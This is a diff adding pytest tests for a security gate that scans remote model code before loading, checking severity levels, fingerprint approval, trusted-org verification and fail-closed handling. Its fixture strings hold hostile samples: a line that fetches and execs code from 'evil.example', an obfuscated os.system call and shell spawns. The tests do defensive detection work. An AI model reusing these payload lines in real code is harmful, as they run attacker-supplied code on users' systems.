+ "import subprocess\n"
+ "class RemoteConfig:\n"
+ " def __init__(self):\n"
+ " subprocess.Popen(['xcalc'])\n"
+ )
+ }
+ a, b = _with_auto_map(files)
+ with a, b:
+ d = evaluate_remote_code_consent(
+ "third-party/custom-model", trust_remote_code = True, trusted_org = False
+ )
+ assert d.blocked is True
+ assert d.max_severity == "HIGH"
+ assert "subprocess" in d.findings_summary.lower()
+
+ def test_critical_blocked_even_first_party(self):
+ # CRITICAL (reverse shell) blocks even a trusted first-party repo; not approvable.
+ a, b = _with_auto_map(_CRITICAL)
+ with a, b:
+ d = evaluate_remote_code_consent(
+ "unsloth/Compromised", trust_remote_code = True, trusted_org = True
+ )
+ assert d.blocked is True
+ assert d.approvable is False
+ assert d.max_severity == "CRITICAL"
+ p = d.response_payload()
+ assert p["error_kind"] == "remote_code_blocked"
+ assert p["approvable"] is False
+
+ def test_approved_fingerprint_unblocks(self):
+ # HIGH (approvable) third-party code: a matching fingerprint unblocks.
+ a, b = _with_auto_map(_HIGH)
+ with a, b:
+ d1 = evaluate_remote_code_consent(
+ "evil/Model", trust_remote_code = True, trusted_org = False
+ )
+ d2 = evaluate_remote_code_consent(
+ "evil/Model",
+ trust_remote_code = True,
+ trusted_org = False,
+ approved_fingerprint = d1.fingerprint,
+ )
+ assert d1.blocked is True
+ assert d2.blocked is False
+ assert d2.reason == "approved by fingerprint"
+
+ def test_approved_fingerprint_does_not_unblock_critical(self):
+ # CRITICAL is a hard block: a matching fingerprint must never override it.
+ a, b = _with_auto_map(_CRITICAL)
+ with a, b:
+ d1 = evaluate_remote_code_consent(
+ "evil/Model", trust_remote_code = True, trusted_org = False
+ )
+ d2 = evaluate_remote_code_consent(
+ "evil/Model",
+ trust_remote_code = True,
+ trusted_org = False,
+ approved_fingerprint = d1.fingerprint,
+ )
+ assert d1.blocked is True and d1.approvable is False
+ assert d2.blocked is True and d2.approvable is False
+ assert d2.reason == "blocked: scan found CRITICAL patterns"
+
+ def test_wrong_fingerprint_still_blocked(self):
+ a, b = _with_auto_map(_HIGH)
+ with a, b:
+ d = evaluate_remote_code_consent(
+ "evil/Model",
+ trust_remote_code = True,
+ trusted_org = False,
+ approved_fingerprint = "deadbeef",
+ )
+ assert d.blocked is True
+
+ def test_combined_targets_one_fingerprint_approves_adapter_and_base(self):
+ # A LoRA adapter and base that both ship auto_map code are scanned as one unit and
+ # pinned by a single fingerprint over the union, so one approval unblocks the load.
+ adapter_files = {"tokenization_adapter.py": "import subprocess\nsubprocess.Popen(['id'])\n"}
+ base_files = {"modeling_base.py": "import subprocess\nsubprocess.Popen(['id'])\n"}
+
+ def _files(name, hf_token = None):
+ return adapter_files if name == "org/adapter" else base_files
+
+ targets = ["org/adapter", "org/base"]
+ with (
+ patch.object(consent, "_config_has_auto_map", return_value = True),
+ patch.object(consent, "repo_remote_code_files", side_effect = _files),
+ ):
+ d1 = evaluate_remote_code_consent_for_targets(targets, trust_remote_code = True)
+ d2 = evaluate_remote_code_consent_for_targets(
+ targets, trust_remote_code = True, approved_fingerprint = d1.fingerprint
+ )
+ base_only = evaluate_remote_code_consent_for_targets(
+ ["org/base"], trust_remote_code = True
+ )
+ assert d1.blocked is True
+ assert d1.max_severity == "HIGH"
+ # The single combined fingerprint approves the whole load (adapter + base).
+ assert d2.blocked is False
+ assert d2.reason == "approved by fingerprint"
+ # A fingerprint over the base alone must not match (no silent approval of adapter code).
+ assert base_only.fingerprint != d1.fingerprint
+
+ def test_fingerprint_is_casing_invariant_for_hub_repos(self):
+ # The scan endpoint canonicalizes casing but workers pass raw input. The fingerprint
+ # pins code bytes, not the repo-id spelling, so casing must not change it (else the
+ # worker rejects the scan's approval as a mismatch).
+ a, b = _with_auto_map(_HIGH)
+ with a, b:
+ d1 = evaluate_remote_code_consent_for_targets(["Org/Model"], trust_remote_code = True)
+ d2 = evaluate_remote_code_consent_for_targets(["org/model"], trust_remote_code = True)
+ assert d1.fingerprint == d2.fingerprint
+ # An approval pinned from one casing unblocks the load under another casing.
+ a, b = _with_auto_map(_HIGH)
+ with a, b:
+ d3 = evaluate_remote_code_consent_for_targets(
+ ["ORG/model"], trust_remote_code = True, approved_fingerprint = d1.fingerprint
+ )
+ assert d3.blocked is False
+ assert d3.reason == "approved by fingerprint"
+
+ def test_fingerprint_target_key_keeps_local_path_casing(self):
+ from utils.security.consent import _fingerprint_target_key
+
+ # A local path is case-sensitive (case-sensitive filesystems); never folded.
+ with patch("utils.paths.is_local_path", return_value = True):
+ assert _fingerprint_target_key("/Models/Foo") == "/Models/Foo"
+ # A Hub repo id is case-insensitive; folded so the pin is casing-robust.
+ with patch("utils.paths.is_local_path", return_value = False):
+ assert _fingerprint_target_key("Org/Model") == "org/model"
+
+ def test_unscannable_target_fails_closed_for_whole_load(self):
+ # If ANY target is present-but-unscannable, the whole load fails closed (non-approvable).
+ def _raise_for_base(name, hf_token = None):
+ if name == "org/base":
+ raise RemoteCodeUnscannable("gated")
+ return {"modeling_adapter.py": "import torch\n"}
+
+ with (
+ patch.object(consent, "_config_has_auto_map", return_value = True),
+ patch.object(consent, "repo_remote_code_files", side_effect = _raise_for_base),
+ ):
+ d = evaluate_remote_code_consent_for_targets(
+ ["org/adapter", "org/base"], trust_remote_code = True
+ )
+ assert d.blocked is True
+ assert d.approvable is False
+
+ def test_medium_severity_blocks_pending_approval(self):
+ # A MEDIUM finding is approvable but blocks until the fingerprint is pinned, so
+ # trust_remote_code=True alone cannot run flagged code; a match then unblocks.
+ # MEDIUM is rarely emitted, so the scan result is mocked to exercise the policy.
+ from utils.security.remote_code_scan import MEDIUM
+
+ class _MediumResult:
+ max_severity = MEDIUM
+
+ def summary(self):
+ return "MEDIUM: large-base64-blob"
+
+ def findings_payload(self):
+ return [{"severity": "MEDIUM", "file": "modeling.py", "check": "large-base64-blob"}]
+
+ with (
+ patch.object(consent, "_config_has_auto_map", return_value = True),
+ patch.object(consent, "repo_remote_code_files", return_value = {"m.py": "BLOB = 1\n"}),
+ patch.object(consent, "scan_remote_code_files", return_value = _MediumResult()),
+ ):
+ d1 = evaluate_remote_code_consent(
+ "third/medium", trust_remote_code = True, trusted_org = False
+ )
+ d2 = evaluate_remote_code_consent(
+ "third/medium",
+ trust_remote_code = True,
+ trusted_org = False,
+ approved_fingerprint = d1.fingerprint,
+ )
+ assert d1.blocked is True
+ assert d1.approvable is True
+ assert d1.max_severity == "MEDIUM"
+ assert d1.fingerprint
+ assert "MEDIUM" in d1.reason
+ assert d2.blocked is False
+ assert d2.reason == "approved by fingerprint"
+
+ def test_fingerprint_changes_when_code_changes(self):
+ ((fn, body),) = _HIGH.items()
+ a1, b1 = _with_auto_map(_HIGH)
+ with a1, b1:
+ d1 = evaluate_remote_code_consent(
+ "evil/Model", trust_remote_code = True, trusted_org = False
+ )
+ tampered = {fn: body + "\n# changed\n"}
+ a2, b2 = _with_auto_map(tampered)
+ with a2, b2:
+ d2 = evaluate_remote_code_consent(
+ "evil/Model", trust_remote_code = True, trusted_org = False
+ )
+ assert d1.fingerprint != d2.fingerprint # pinned approval would re-prompt
+
+ def test_unscannable_auto_map_blocked_fail_closed(self):
+ # Code is shipped but could not be fetched/listed (gated/offline/transient):
+ # repo_remote_code_files raises RemoteCodeUnscannable. Code we cannot see cannot
+ # be verified or fingerprinted, so fail closed (hard, non-approvable block).
+ with (
+ patch.object(consent, "_config_has_auto_map", return_value = True),
+ patch.object(
+ consent,
+ "repo_remote_code_files",
+ side_effect = RemoteCodeUnscannable("gated"),
+ ),
+ ):
+ d = evaluate_remote_code_consent("unsloth/Gated", trust_remote_code = True)
+ assert d.has_remote_code is True
+ assert d.blocked is True
+ assert d.approvable is False
+ assert "could not be scanned" in d.reason
+
+ def test_auto_map_with_no_executable_code_is_a_noop(self):
+ # auto_map declared but the repo ships no executable .py (listing succeeded,
+ # returns {}) -- e.g. a GGUF repo with a vestigial auto_map. Nothing to run, so
+ # trust_remote_code is a no-op and the load is allowed, not blocked.
+ with (
+ patch.object(consent, "_config_has_auto_map", return_value = True),
+ patch.object(consent, "repo_remote_code_files", return_value = {}),
+ ):
+ d = evaluate_remote_code_consent(
+ "unsloth/Llama-3_1-Nemotron-Ultra-253B-v1-GGUF", trust_remote_code = True
+ )
+ assert d.blocked is False
+ assert d.has_remote_code is False
+ assert "no-op" in d.reason
+
+
+class TestWorkersWireTheGate:
+ """Each load worker must call the gate and emit a remote_code_blocked error."""
+
+ @pytest.mark.parametrize(
+ "rel",
+ [
+ "core/training/worker.py",
+ "core/inference/worker.py",
+ "core/export/worker.py",
+ ],
+ )
+ def test_worker_invokes_gate(self, rel):
+ src = (Path(__file__).resolve().parent.parent / rel).read_text()
+ assert "evaluate_remote_code_consent" in src
+ assert "remote_code_blocked" in src
+ assert ".blocked" in src
+
+ def test_mlx_training_path_gates_before_load(self):
+ # The Apple-Silicon path returns before run_training_process's gate, so it must
+ # scan before FastMLXModel.from_pretrained runs repo code.
+ src = (_BACKEND / "core/training/worker.py").read_text()
+ head = src[: src.index("FastMLXModel.from_pretrained(")]
+ assert "evaluate_remote_code_consent" in head
+
+ def test_lora_base_model_is_gated(self):
+ # Inference + export expand the consent scan to the LoRA base model's code.
+ for rel in ("core/inference/worker.py", "core/export/worker.py"):
+ src = (_BACKEND / rel).read_text()
+ assert "consent_targets" in src
+ assert "get_base_model_from_lora" in src or "mc.base_model" in src
+
+ def test_remote_lora_base_is_resolved_in_gate_paths(self):
+ # validate / scan / training / export must resolve a remote adapter's base (not
+ # just a local dir) so it is scanned, not silently trusted. (Inference gets the
+ # resolved base from ModelConfig.base_model.)
+ for rel in (
+ "routes/inference.py",
+ "routes/models.py",
+ "core/training/worker.py",
+ "core/export/worker.py",
+ ):
+ src = (_BACKEND / rel).read_text()
+ assert "get_base_model_from_lora_identifier" in src, rel
+
+ def test_embedding_training_path_gates_before_load(self):
+ # The embedding pipeline must run the malware + consent gates before loading, like the other paths.
+ src = (_BACKEND / "core/training/worker.py").read_text()
+ start = src.index("def _run_embedding_training(")
+ end = src.index("FastSentenceTransformer.from_pretrained(", start)
+ region = src[start:end]
+ assert "evaluate_file_security" in region
+ assert "evaluate_remote_code_consent" in region
+
+
+class TestCanonicalScannerSource:
+ """In-repo, the load-time scanner must be the canonical scripts/scan_packages.py (the CI scanner), not the fallback."""
+
+ def test_canonical_scanner_loads_in_repo(self):
+ from utils.security.remote_code_scan import _load_canonical_scanner
+
+ canon = _load_canonical_scanner()
+ assert canon is not None, "scripts/scan_packages.py must load in-repo"
+ assert hasattr(canon, "check_py_file")
+
+ def test_gate_uses_canonical_combination_heuristics(self):
+ # Combination heuristics are unique to the canonical scanner: a reverse shell is
+ # CRITICAL there, proving the flat fallback is not in effect.
+ from utils.security.remote_code_scan import scan_remote_code_files
+ r = scan_remote_code_files(_CRITICAL)
+ assert r.max_severity == "CRITICAL"
+
+
+class TestStructuredFindingsForDialog:
+ """The dialog needs structured findings + a fingerprint from the pre-check helper and scan route, with the approval threaded to workers."""
+
+ def test_findings_payload_shape(self):
+ from utils.security.remote_code_scan import scan_remote_code_files
+
+ payload = scan_remote_code_files(_HIGH).findings_payload()
+ assert payload
+ for f in payload:
+ assert {"severity", "file", "check", "evidence", "line", "snippet"} <= set(f)
+
+ def test_snippet_locates_line_and_highlights_match(self):
+ from utils.security.remote_code_scan import scan_remote_code_files
+
+ src = (
+ "import torch\n" # 1
+ "\n" # 2
+ "def build(expr):\n" # 3
+ " fn = eval(expr)\n" # 4 <- flagged
+ " return fn\n" # 5
+ )
+ f = scan_remote_code_files({"modeling_x.py": src}).findings_payload()[0]
+ assert f["line"] == 4
+ rows = f["snippet"]
+ match = [r for r in rows if r["is_match"]]
+ assert len(match) == 1 and match[0]["number"] == 4
+ # Precise column span isolates "eval(" within the line.
+ seg = match[0]["text"][match[0]["match_start"] : match[0]["match_end"]]
+ assert seg == "eval("
+ # Context window present on both sides (clamped at file edges).
+ assert any(r["number"] == 3 for r in rows)
+ assert any(r["number"] == 5 for r in rows)
+
+ def test_preflight_surfaces_findings(self):
+ from utils.security import preflight_remote_code_consent
+
+ a, b = _with_auto_map(_HIGH)
+ with a, b:
+ d = preflight_remote_code_consent("evil/Model", trusted_org = False)
+ assert d.has_remote_code is True
+ assert d.findings and d.fingerprint # structured findings for the UI
+
+ def test_scan_route_uses_preflight(self):
+ src = (Path(__file__).resolve().parent.parent / "routes/models.py").read_text()
+ assert "remote-code-scan" in src
+ # The scan route pins one combined fingerprint over adapter + base, so adapter code is reviewed and approvable too.
+ assert "preflight_remote_code_consent_for_targets" in src
+
+ def _run_scan_route(self, monkeypatch, *, adapter, base, in_cache):
+ """Call scan_model_remote_code with all network/cache deps stubbed; in_cache(repo)
+ decides whether a repo pre-existed in cache (so it is not reported scan-created)."""
+ import asyncio
+
+ import routes.models as models_route
+ import utils.models.model_config as model_config
+ import utils.security as security
+
+ monkeypatch.setattr(models_route, "is_local_path", lambda *_a, **_k: False)
+ monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda n, *a, **k: n)
+ monkeypatch.setattr(
+ model_config, "get_base_model_from_lora_identifier", lambda *_a, **_k: base
+ )
+ monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda n, *a, **k: in_cache(n))
+ monkeypatch.setattr(
+ security,
+ "preflight_remote_code_consent_for_targets",
+ lambda *_a, **_k: SimpleNamespace(
+ has_remote_code = False,
+ response_payload = lambda: {"has_remote_code": False, "approvable": True},
+ ),
+ )
+ monkeypatch.setattr(security, "security_load_subdirs", lambda *_a, **_k: ())
+ monkeypatch.setattr(
+ security,
+ "evaluate_file_security",
+ lambda *_a, **_k: SimpleNamespace(blocked = False, unsafe_files = []),
+ )
+ return asyncio.run(
+ models_route.scan_model_remote_code(
+ model_name = adapter, hf_token = None, current_subject = "tester"
+ )
+ )
+
+ def test_scan_route_reports_all_scan_created_repos(self, monkeypatch):
+ """A LoRA scan that pulls both adapter and base into cache reports every created
+ repo, so a decline purges all of them, not just the primary."""
+ adapter, base = "someone/lora-adapter", "someone/base-model"
+ payload = self._run_scan_route(
+ monkeypatch, adapter = adapter, base = base, in_cache = lambda _n: False
+ )
+ assert payload["scan_created_repos"] == [adapter, base]
+ assert payload["created_by_scan"] is True
+
+ def test_scan_route_omits_repo_already_cached(self, monkeypatch):
+ """A base the user already had is not scan-created, so a decline purges only the new adapter."""
+ adapter, base = "someone/lora-adapter", "someone/base-model"
+ payload = self._run_scan_route(
+ monkeypatch, adapter = adapter, base = base, in_cache = lambda n: n == base
+ )
+ assert payload["scan_created_repos"] == [adapter]
+ assert payload["created_by_scan"] is True
+
+ def test_scan_route_primary_already_cached_clears_created_by_scan(self, monkeypatch):
+ """When only the base is new, created_by_scan is False but the base is still purged via scan_created_repos."""
+ adapter, base = "someone/lora-adapter", "someone/base-model"
+ payload = self._run_scan_route(
+ monkeypatch, adapter = adapter, base = base, in_cache = lambda n: n == adapter
+ )
+ assert payload["scan_created_repos"] == [base]
+ assert payload["created_by_scan"] is False
+
+ def test_scan_route_purges_remote_adapter_downloaded_by_base_resolution(self, monkeypatch):
+ """A remote adapter is reported scan-created even though resolving its base first
+ caches the adapter's own adapter_config.json. Otherwise the adapter (and the
+ auto_map .py the preflight fetched) is left on disk on decline. The static-lambda
+ tests above miss this by not modeling base resolution's side effect."""
+ import asyncio
+
+ import routes.models as models_route
+ import utils.models.model_config as model_config
+ import utils.security as security
+ import utils.security.remote_code_scan as rcs
+
+ adapter, base = "someone/lora-adapter", "someone/base-model"
+ cached: set = set() # repos currently present in some HF cache
+
+ def _get_base(name, token = None):
+ # Resolving the base downloads the ADAPTER's adapter_config.json first.
+ cached.add(adapter)
+ return base
+
+ monkeypatch.setattr(models_route, "is_local_path", lambda *_a, **_k: False)
+ monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda n, *a, **k: n)
+ monkeypatch.setattr(model_config, "get_base_model_from_lora_identifier", _get_base)
+ monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda n, *a, **k: n in cached)
+ monkeypatch.setattr(rcs, "external_auto_map_repos", lambda *_a, **_k: set())
+ monkeypatch.setattr(
+ security,
+ "preflight_remote_code_consent_for_targets",
+ lambda *_a, **_k: SimpleNamespace(
+ has_remote_code = True,
+ response_payload = lambda: {"has_remote_code": True, "approvable": True},
+ ),
+ )
+ monkeypatch.setattr(security, "security_load_subdirs", lambda *_a, **_k: ())
+ monkeypatch.setattr(
+ security,
+ "evaluate_file_security",
+ lambda *_a, **_k: SimpleNamespace(blocked = False, unsafe_files = []),
+ )
+ payload = asyncio.run(
+ models_route.scan_model_remote_code(
+ model_name = adapter, hf_token = None, current_subject = "tester"
+ )
+ )
+ # The adapter must be purged on decline despite being cached mid-scan.
+ assert adapter in payload["scan_created_repos"]
+ assert base in payload["scan_created_repos"]
+ assert payload["created_by_scan"] is True
+
+ @pytest.mark.parametrize(
+ "rel",
+ [
+ "core/training/training.py",
+ "core/inference/orchestrator.py",
+ "core/export/orchestrator.py",
+ "routes/training.py",
+ "routes/inference.py",
+ "routes/export.py",
+ ],
+ )
+ def test_fingerprint_threaded_to_worker(self, rel):
+ src = (Path(__file__).resolve().parent.parent / rel).read_text()
+ assert "approved_remote_code_fingerprint" in src
+
+
+# Trusted-org auto-enable: is_trusted_org_repo decides whether a repo may auto-enable
+# remote code without a prompt; it rejects local-path / spoofed names and fails closed.
+
+
+def _fake_hfapi(resolved_id, author = "unsloth"):
+ api = MagicMock()
+ api.return_value.model_info.return_value = SimpleNamespace(id = resolved_id, author = author)
+ return api
+
+
+class TestIsTrustedOrgRepo:
+ """Only a genuine unsloth/ or nvidia/ repo is trusted (Hub-verified); everything spoofed/malformed/unreachable fails closed."""
+
+ def test_accepts_genuine_unsloth_repo(self):
+ with patch("huggingface_hub.HfApi", _fake_hfapi("unsloth/DeepSeek-OCR")):
+ assert is_trusted_org_repo("unsloth/DeepSeek-OCR") is True
+
+ def test_accepts_genuine_nvidia_repo(self):
+ with patch("huggingface_hub.HfApi", _fake_hfapi("nvidia/Nemotron-H-8B", author = "nvidia")):
+ assert is_trusted_org_repo("nvidia/Nemotron-H-8B") is True
+
+ def test_local_path_spoofs_rejected(self):
+ # Names that look trusted after stripping but are local paths.
+ for n in ["./unsloth/evil", "/tmp/unsloth/x", "~/unsloth/x", ".\\unsloth\\x"]:
+ assert is_trusted_org_repo(n, verify_remote = False) is False, n
+
+ def test_rejects_local_path_even_if_is_local_path_says_so(self):
+ # Defensive: a bare "unsloth/x" that resolves as a local dir must fail.
+ with patch("utils.security.trusted_org.is_local_path", return_value = True):
+ assert is_trusted_org_repo("unsloth/x") is False
+
+ def test_local_dir_shadowing_trusted_name_rejected(self, tmp_path, monkeypatch):
+ # A local dir literally named "unsloth/evil" must be rejected before any Hub call, even with remote verify on.
+ monkeypatch.chdir(tmp_path)
+ (tmp_path / "unsloth" / "evil").mkdir(parents = True)
+ clear_cache()
+ with patch("huggingface_hub.HfApi") as Api:
+ assert is_trusted_org_repo("unsloth/evil") is False
+ Api.assert_not_called()
+
+ def test_untrusted_namespaces_rejected(self):
+ for n in ["evil/unsloth-clone", "unsloth-evil/x", "nvidiaa/x", "huggingface/x"]:
+ assert is_trusted_org_repo(n, verify_remote = False) is False, n
+
+ def test_malformed_names_rejected(self):
+ for n in ["", "gpt2", "unsloth", "a/b/c", "/x", "unsloth/", "/unsloth", None]:
+ assert is_trusted_org_repo(n, verify_remote = False) is False, repr(n)
+
+ def test_rejects_when_resolved_owner_is_not_trusted(self):
+ # Name says unsloth/ but the Hub resolves it elsewhere -> fail closed.
+ with patch("huggingface_hub.HfApi", _fake_hfapi("someoneelse/x", author = "someoneelse")):
+ assert is_trusted_org_repo("unsloth/x") is False
+
+ def test_fails_closed_when_hub_raises(self):
+ for exc in (ConnectionError("net"), Exception("404"), TimeoutError("t")):
+ clear_cache()
+ api = MagicMock()
+ api.return_value.model_info.side_effect = exc
+ with patch("huggingface_hub.HfApi", api):
+ assert is_trusted_org_repo("unsloth/maybe-real") is False
+
+ def test_offline_trusts_shape_without_hub(self, monkeypatch):
+ # Offline: trust the namespace shape without ever touching the Hub.
+ monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+ clear_cache()
+ with patch("huggingface_hub.HfApi") as Api:
+ assert is_trusted_org_repo("unsloth/Local-Cached") is True
+ assert is_trusted_org_repo("nvidia/Nemotron-H-x") is True
+ assert is_trusted_org_repo("evil/x") is False
+ Api.assert_not_called()
+
+ def test_token_failure_does_not_poison_authed_lookup(self):
+ # Cache is keyed by token: an unauthenticated failure must not poison a later authed call.
+ clear_cache()
+ api = MagicMock()
+ api.return_value.model_info.side_effect = [
+ Exception("401 gated"), # no token -> fails closed
+ SimpleNamespace(id = "unsloth/Private", author = "unsloth"), # token -> resolves
+ ]
+ with patch("huggingface_hub.HfApi", api):
+ assert is_trusted_org_repo("unsloth/Private") is False
+ assert is_trusted_org_repo("unsloth/Private", hf_token = "hf_xyz") is True
+
+
+class TestNemotronGateUsesTrustCheck:
+ """The NemotronH auto-enable in all three workers is gated on is_trusted_org_repo, so a spoofed nemotron-named repo never auto-enables."""
+
+ @pytest.mark.parametrize(
+ "rel",
+ [
+ "core/training/worker.py",
+ "core/inference/worker.py",
+ "core/export/worker.py",
+ ],
+ )
+ def test_worker_nemotron_block_calls_trust_check(self, rel):
+ src = (_BACKEND / rel).read_text()
+ assert "_NEMOTRON_TRUST_SUBSTRINGS" in src
+ assert "is_trusted_org_repo(" in src
+
+ def test_gate_predicate_blocks_spoof_allows_trusted(self):
+ # Reproduce the worker predicate with the REAL is_trusted_org_repo.
+ subs = ("nemotron_h", "nemotron-h", "nemotron-3-nano")
+
+ def gate(name):
+ low = name.lower()
+ return (
+ any(s in low for s in subs)
+ and (low.startswith("unsloth/") or low.startswith("nvidia/"))
+ and is_trusted_org_repo(name, verify_remote = False)
+ )
+
+ with patch.dict(os.environ, {"HF_HUB_OFFLINE": "1"}):
+ clear_cache()
+ assert gate("unsloth/Nemotron-H-8B") is True
+ clear_cache()
+ assert gate("evil/nemotron_h-backdoor") is False # spoofed namespace
+ assert gate("unsloth/llama-3-8b") is False # not nemotron
+
+
+# Raw scanner behaviour + coverage: scan_remote_code_files flags dangerous patterns
+# and agrees with the CI auditor; repo_remote_code_files must scan every .py the
+# loader could execute and fail closed on a partial remote snapshot.
+
+_SCAN_MALICIOUS = (
+ "import os, subprocess, urllib.request, base64\n"
+ "subprocess.Popen(['/bin/sh', '-c', 'id'])\n"
+ "exec(urllib.request.urlopen('http://evil.example/x').read())\n"
+ "__import__('o' + 's').system('whoami')\n"
+ "BLOB = '" + ("QWxhZGRpbjpvcGVuc2VzYW1l" * 20) + "'\n"
+)
+_SCAN_BENIGN = (
+ "import torch\nfrom torch import nn\n"
+ "from transformers import PreTrainedModel\n"
+ "class DeepseekOCRForCausalLM(PreTrainedModel):\n"
+ " def forward(self, x):\n return self.proj(x)\n"
+)
+
+
+class TestRemoteCodeScan:
+ def test_flags_malicious(self):
+ res = scan_remote_code_files({"modeling_evil.py": _SCAN_MALICIOUS})
+ assert not res.clean
+ assert res.max_severity in (CRITICAL, HIGH)
+ assert res.findings
+ assert should_block_remote_code(res) is True
+
+ def test_benign_is_clean(self):
+ res = scan_remote_code_files({"modeling_ok.py": _SCAN_BENIGN})
+ assert res.clean, res.summary()
+ assert should_block_remote_code(res) is False
+
+ def test_only_python_is_scanned(self):
+ res = scan_remote_code_files({"weights.bin": _SCAN_MALICIOUS, "README.md": _SCAN_MALICIOUS})
+ assert res.clean
+
+ def test_fingerprint_stable_and_sensitive(self):
+ a = remote_code_fingerprint({"m.py": _SCAN_BENIGN})
+ b = remote_code_fingerprint({"m.py": _SCAN_BENIGN})
+ c = remote_code_fingerprint({"m.py": _SCAN_BENIGN + "\n# changed"})
+ assert a == b
+ assert a != c
+
+ def test_scanner_faithful_to_scan_packages(self):
+ # The vendored load-time scanner agrees with the CI auditor that the file is dangerous.
+ sp = _BACKEND.parents[1] / "scripts" / "scan_packages.py"
+ if not sp.is_file():
+ pytest.skip("scan_packages.py not present")
+ import importlib.util
+
+ spec = importlib.util.spec_from_file_location("scan_packages_probe", sp)
+ mod = importlib.util.module_from_spec(spec)
+ spec.loader.exec_module(mod)
+ assert len(mod.check_py_file(_SCAN_MALICIOUS, "modeling_x.py", "pkg")) > 0
+ assert not scan_remote_code_files({"modeling_x.py": _SCAN_MALICIOUS}).clean
+
+
+class TestScannerCoversAllExecutableCode:
+ """repo_remote_code_files must collect every .py the loader could execute, so the fingerprint can't certify unscanned code."""
+
+ def test_local_scan_is_recursive(self, tmp_path):
+ # A nested helper module (imported by modeling_*.py) must be scanned too.
+ (tmp_path / "config.json").write_text('{"auto_map": {"AutoModel": "modeling_x.M"}}')
+ (tmp_path / "modeling_x.py").write_text("from .helpers import sub\n")
+ nested = tmp_path / "helpers"
+ nested.mkdir()
+ (nested / "sub.py").write_text("import os\nos.system('id')\n")
+ files = repo_remote_code_files(str(tmp_path))
+ assert "modeling_x.py" in files
+ assert str(Path("helpers") / "sub.py") in files
+
+ def test_remote_partial_download_is_unscannable(self):
+ # config.json fetches but a referenced .py 404s: a partial set would fingerprint
+ # "clean" while transformers later runs the missing file, so fail closed.
+ def _dl(
+ repo,
+ fn,
+ token = None,
+ ):
+ if fn == "config.json":
+ import json
+ import tempfile
+
+ p = Path(tempfile.mkdtemp()) / "config.json"
+ p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.M"}}))
+ return str(p)
+ if fn in REMOTE_CODE_CONFIG_FILES:
+ raise EntryNotFoundError(fn) # repo ships no tokenizer/processor config
+ raise RuntimeError("download failed") # the referenced .py cannot be fetched
+
+ with (
+ patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+ patch("huggingface_hub.list_repo_files", return_value = ["modeling_x.py"]),
+ ):
+ with pytest.raises(RemoteCodeUnscannable):
+ repo_remote_code_files("third/party")
+
+ def test_external_auto_map_repo_is_scanned(self):
+ # auto_map can point at code in another repo (owner/name--module.Class) that
+ # transformers fetches + runs, so the scanner must download it from that repo.
+ def _dl(
+ repo,
+ fn,
+ token = None,
+ ):
+ import json
+ import tempfile
+
+ p = Path(tempfile.mkdtemp()) / fn
+ if fn == "config.json":
+ p.write_text(
+ json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}})
+ )
+ elif repo == "evilorg/evilrepo" and fn == "modeling_evil.py":
+ p.write_text("import os\nos.system('id')\n")
+ elif fn in REMOTE_CODE_CONFIG_FILES:
+ raise EntryNotFoundError(fn) # victim repo ships no tokenizer/processor config
+ else:
+ raise RuntimeError(f"unexpected fetch {repo}:{fn}")
+ return str(p)
+
+ with (
+ patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+ patch("huggingface_hub.list_repo_files", return_value = []),
+ ):
+ files = repo_remote_code_files("victim/model")
+ assert "evilorg/evilrepo--modeling_evil.py" in files
+ assert not scan_remote_code_files(files).clean # the external code is flagged
+
+ def test_external_auto_map_helper_imports_are_scanned(self):
+ # transformers fetches the external entry AND its relative imports, so the scanner
+ # must download the whole external .py closure -- a benign entry importing a
+ # dangerous helper.py must still be flagged.
+ def _dl(
+ repo,
+ fn,
+ token = None,
+ ):
+ import json
+ import tempfile
+
+ p = Path(tempfile.mkdtemp()) / fn
+ if fn == "config.json":
+ p.write_text(
+ json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}})
+ )
+ elif repo == "evilorg/evilrepo" and fn == "modeling_evil.py":
+ p.write_text("from .helper import run\n") # benign entry, imports helper
+ elif repo == "evilorg/evilrepo" and fn == "helper.py":
+ p.write_text("import os\nos.system('id')\n") # the dangerous import
+ elif fn in REMOTE_CODE_CONFIG_FILES:
+ raise EntryNotFoundError(fn)
+ else:
+ raise RuntimeError(f"unexpected fetch {repo}:{fn}")
+ return str(p)
+
+ def _list(repo, token = None):
+ if repo == "evilorg/evilrepo":
+ return ["modeling_evil.py", "helper.py"]
+ return [] # victim/model own repo ships no .py (code is all external)
+
+ with (
+ patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+ patch("huggingface_hub.list_repo_files", side_effect = _list),
+ ):
+ files = repo_remote_code_files("victim/model")
+ assert "evilorg/evilrepo--helper.py" in files # the imported helper was scanned
+ assert not scan_remote_code_files(files).clean # helper's os.system is flagged
+
+ def test_stale_own_repo_auto_map_ref_is_ignored_not_failed_closed(self):
+ # A config names an own-repo .py the repo no longer ships (a stale ref, e.g.
+ # PaddleOCR-VL names processing_ppocrvl.py but ships processing_paddleocr_vl.py).
+ # The absent file cannot run, so ignore it and scan the present .py, not fail closed.
+ def _dl(
+ repo,
+ fn,
+ token = None,
+ ):
+ import json
+ import tempfile
+
+ p = Path(tempfile.mkdtemp()) / fn
+ if fn == "config.json":
+ p.write_text(json.dumps({"model_type": "x"}))
+ elif fn == "tokenizer_config.json":
+ p.write_text(json.dumps({"auto_map": {"AutoProcessor": "processing_ppocrvl.Proc"}}))
+ elif fn == "processing_paddleocr_vl.py":
+ p.write_text("import torch\n") # the real, present file
+ elif fn in REMOTE_CODE_CONFIG_FILES:
+ raise EntryNotFoundError(fn)
+ else:
+ raise RuntimeError(f"stale/absent file must not be fetched: {fn}")
+ return str(p)
+
+ with (
+ patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+ patch(
+ "huggingface_hub.list_repo_files",
+ return_value = ["config.json", "tokenizer_config.json", "processing_paddleocr_vl.py"],
+ ),
+ ):
+ files = repo_remote_code_files("unsloth/PaddleOCR-VL")
+ assert files != {}, "must not fail closed: present .py are scannable"
+ assert "processing_paddleocr_vl.py" in files # present file scanned
+ assert "processing_ppocrvl.py" not in files # stale ref ignored, never fetched
+
